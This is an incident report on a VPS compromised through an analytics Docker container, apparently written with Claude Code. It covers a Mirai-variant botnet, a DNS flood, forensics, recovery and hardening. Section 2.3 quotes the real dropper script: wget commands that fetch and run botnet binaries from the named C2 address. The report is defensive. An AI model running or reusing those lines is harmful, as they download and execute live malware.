tractatus/docs/SECURITY_INCIDENT_REPORT_2025-12-09.md

Security Incident Report: VPS Compromise

Date: 2025-12-09 15:53 CET

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Executive Summary

Incident: DNS flood attack (83Kpps/45Mbps) launched from VPS Root Cause: Compromised Docker container (Umami Analytics) Malware: Exodus Botnet (Mirai variant) Host Impact: NONE - malware was contained within Docker Data Impact: No evidence of exfiltration Recommendation: Clean Docker, redeploy, harden

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1. Timeline of Events

Time (CET)	Event
~14:43	Attacker gains access to Docker container
14:43	Fake dockerd binaries deployed in container
14:48	Dropper scripts (.d, .ffaaxx) created
14:50	Exodus multi-architecture binaries downloaded from 196.251.100.191
14:53:14	DNS flood attack begins (target: 171.225.223.108:53)
14:53:42	OVH detects attack, initiates shutdown
14:53:42	VPS forced into rescue mode
~18:00	OVH sends notification emails

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2. Attack Details

2.1 Traffic Analysis (from OVH)

Attack rate:    83,000 packets/second
Bandwidth:      45 Mbps
Protocol:       UDP
Source port:    35334
Target:         171.225.223.108:53 (Vietnam)
Packet size:    540 bytes
Attack type:    DNS flood

2.2 Malware Identified

Name: Exodus Botnet (Mirai variant) C2 Server: 196.251.100.191 (South Africa) Download URL: http://196.251.100.191/no_killer/Exodus.*

Files deployed:

/var/lib/docker/overlay2/.../diff/
├── tmp/
│   ├── .d                  (ELF dropper binary)
│   ├── .ffaaxx             (hidden attack binary)
│   ├── update.sh           (download script)
│   ├── Exodus.x86_64       (main attack binary)
│   ├── Exodus.x86
│   ├── Exodus.arm4-7
│   ├── Exodus.mips
│   ├── Exodus.m68k
│   ├── Exodus.ppc
│   ├── Exodus.sh4
│   ├── Exodus.spc
│   ├── Exodus.mpsl
│   └── Exodus.i686
└── var/tmp/
    ├── dockerd             (fake Docker daemon)
    └── dockerd-daemon      (attack daemon)

2.3 Dropper Script Content (update.sh)

cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86_64; chmod 777 *; ./Exodus.x86_64;
cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86; chmod 777 *; ./Exodus.x86;
# ... (repeated for all architectures)

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3. Entry Vector Analysis

3.1 What Was NOT Compromised

Vector	Status	Evidence
SSH	CLEAN	All logins from legitimate IPv6 + key
MongoDB	CLEAN	Bound to 127.0.0.1, auth enabled
Tractatus App	CLEAN	server.js hash matches local
Host OS	CLEAN	No rogue users, cron jobs, or modified binaries
nginx	CLEAN	Config hash verified
systemd	CLEAN	Service file hash verified
SSH Keys	CLEAN	Only legitimate deploy key present

3.2 What WAS Compromised

Component	Status	Evidence
Docker Container	COMPROMISED	Malware files in overlay2
Umami Analytics	LIKELY ENTRY POINT	Web-facing container

3.3 Probable Entry Method

The Umami Analytics container (ghcr.io/umami-software/umami:postgresql-latest) was the likely entry point:

1. Container exposed to network
2. Possible vulnerability in Umami
3. OR default/weak credentials
4. OR exposed Docker API

Note: No unauthorized SSH access was detected. All 30 recent logins were from the same legitimate IPv6 address with the correct SSH key.

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4. Impact Assessment

4.1 What Was Affected

System	Impact	Details
Website	DOWN	VPS in rescue mode
Database (MongoDB)	INTACT	No evidence of access
User Data	NONE	No users except admin
Credentials	EXPOSED	Git history had credential files
IP Reputation	DAMAGED	May be blacklisted

4.2 What Was NOT Affected

• Tractatus application code (hash verified)
• MongoDB data integrity
• SSL certificates
• DNS configuration
• GitHub repositories

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5. Forensic Evidence Summary

5.1 File System Analysis

Modified files in last 24h (excluding Docker/logs):

• All legitimate deployment files from today's translation work
• Normal system cache updates
• PostgreSQL WAL files (normal operation)

No modifications to:

• /etc/passwd (no rogue users)
• /etc/cron.* (no malicious cron jobs)
• /usr/bin, /usr/sbin (no modified binaries)
• ~/.ssh/authorized_keys (only legitimate key)

5.2 Log Analysis

SSH Auth Log: Heavy brute force from multiple IPs:

• 92.118.39.x (trying: solv, node, ps, mapr)
• 80.94.92.x (trying: sol, solana, trader)
• 31.58.144.6 (trying: root)
• 193.46.255.7 (trying: root)

Result: ALL failed - no successful unauthorized logins

5.3 Integrity Verification

File	Local Hash	Production Hash	Status
src/server.js	884b6a4874867aae58269c2f88078b73	884b6a4874867aae58269c2f88078b73	MATCH
public/*.js count	123	123	MATCH
src/*.js count	139	139	MATCH

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6. Recovery Options

Option A: Full Reinstall (Safest)

Pros: Eliminates any hidden persistence Cons: More time, reconfiguration needed Risk: LOW

Option B: Clean Docker + Redeploy (Recommended)

Pros: Faster, maintains configuration Cons: Small risk of missed persistence Risk: LOW-MEDIUM (mitigated by evidence showing containment)

Justification for Option B:

1. Malware was 100% contained in Docker overlay
2. Host system files verified clean
3. No unauthorized SSH access
4. No rogue users or cron jobs
5. Application code hashes match
6. Config files verified intact

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7. Recommended Recovery Steps (Option B)

Phase 1: Clean Docker (In Rescue Mode)

# Mount disk
mount /dev/sdb1 /mnt/vps

# Remove all Docker data
rm -rf /mnt/vps/var/lib/docker/*
rm -rf /mnt/vps/opt/containerd/*

# Disable Docker autostart
rm /mnt/vps/etc/systemd/system/multi-user.target.wants/docker.service 2>/dev/null

Phase 2: Security Hardening

# Block Docker ports via UFW (add to /etc/ufw/user.rules)
-A ufw-user-input -p tcp --dport 2375 -j DROP
-A ufw-user-input -p tcp --dport 2376 -j DROP

# Disable password auth in sshd_config
sed -i 's/.*PasswordAuthentication.*/PasswordAuthentication no/' /mnt/vps/etc/ssh/sshd_config

# Install fail2ban (after reboot)

Phase 3: Request Normal Boot

Contact OVH support to restore normal boot mode.

Phase 4: Post-Boot Actions

# Verify services
sudo systemctl status tractatus
sudo systemctl status mongod
sudo systemctl status nginx

# Rotate credentials
node scripts/fix-admin-user.js admin@agenticgovernance.digital 'NEW_PASSWORD'

# Update .env with new secrets
# Redeploy from clean local source
./scripts/deploy.sh --yes

Phase 5: Remove Docker (If Not Needed)

sudo apt purge docker-ce docker-ce-cli containerd.io
sudo rm -rf /var/lib/docker /var/lib/containerd

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8. Preventive Measures

Immediate

• Rotate all passwords (admin, MongoDB, etc.)
• Remove Docker or secure it properly
• Enable fail2ban
• Review UFW rules
• Disable SSH password auth

Long-term

• Never expose Docker API to network
• Use Docker rootless mode if Docker needed
• Implement intrusion detection (OSSEC/Wazuh)
• Set up log monitoring/alerting
• Regular security audits
• Remove credential files from git history (BFG Repo-Cleaner)

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9. Lessons Learned

1. Docker containers are attack surfaces - Even "analytics" containers can be compromised
2. Container isolation ≠ security - Containers had network access to launch attacks
3. Defense in depth works - UFW, MongoDB auth, SSH keys prevented host compromise
4. Git credential exposure is dangerous - Historical credential files may have aided reconnaissance
5. OVH detection is fast - Attack stopped within seconds of detection

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10. Contact OVH

To restore normal mode, contact OVH support with:

• Reference: CS13385927
• Server: vps-93a693da.vps.ovh.net
• Explain: Docker container was compromised, malware removed, requesting normal boot

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Appendix A: OVH Email Content

Attack detail : 83Kpps/45Mbps
dateTime srcIp:srcPort dstIp:dstPort protocol flags bytes reason
2025.12.09 15:53:14 CET 91.134.240.3:35334 171.225.223.108:53 UDP --- 540 ATTACK:DNS

Appendix B: Compromised Docker Containers

Container	Image	Status
tractatus-umami	ghcr.io/umami-software/umami:postgresql-latest	COMPROMISED
tractatus-umami-db	postgres:15-alpine	Likely clean

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Appendix C: Recovery Completed

Recovery Date: 2025-12-09T19:15:00Z

Actions Completed

Action	Status	Time
Docker data removed	✅	Rescue mode
Containerd data removed	✅	Rescue mode
Docker autostart disabled	✅	Rescue mode
SSH hardened (no password, no root, MaxAuthTries 3)	✅	Rescue mode
UFW rules updated (Docker ports blocked)	✅	Rescue mode
fail2ban configured (SSH jail, 24h ban)	✅	Rescue mode
VPS rebooted to normal mode	✅	Via OVH Manager
Services verified (tractatus, nginx, mongod, fail2ban)	✅	Post-reboot
Docker packages purged (apt purge)	✅	Post-reboot
Admin credentials rotated	✅	Post-reboot
Redeployed from clean local source	✅	Post-reboot
Website verified (HTTP 200)	✅	Post-deployment

Hardening Applied

SSH Configuration (/etc/ssh/sshd_config):

PasswordAuthentication no
PermitRootLogin no
MaxAuthTries 3
LoginGraceTime 20

UFW Rules (new additions):

-A ufw-user-input -p tcp --dport 2375 -j DROP
-A ufw-user-input -p tcp --dport 2376 -j DROP

fail2ban (/etc/fail2ban/jail.local):

[sshd]
enabled = true
maxretry = 3
bantime = 24h

Docker Status

• All Docker packages removed: docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin, docker-compose-plugin
• /var/lib/docker directory removed
• No container runtime installed on server

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Report Generated: 2025-12-09T18:30:00Z Report Updated: 2025-12-09T19:15:00Z Analyst: Claude Code (Forensic Analysis) Status: ✅ RECOVERY COMPLETE - Site operational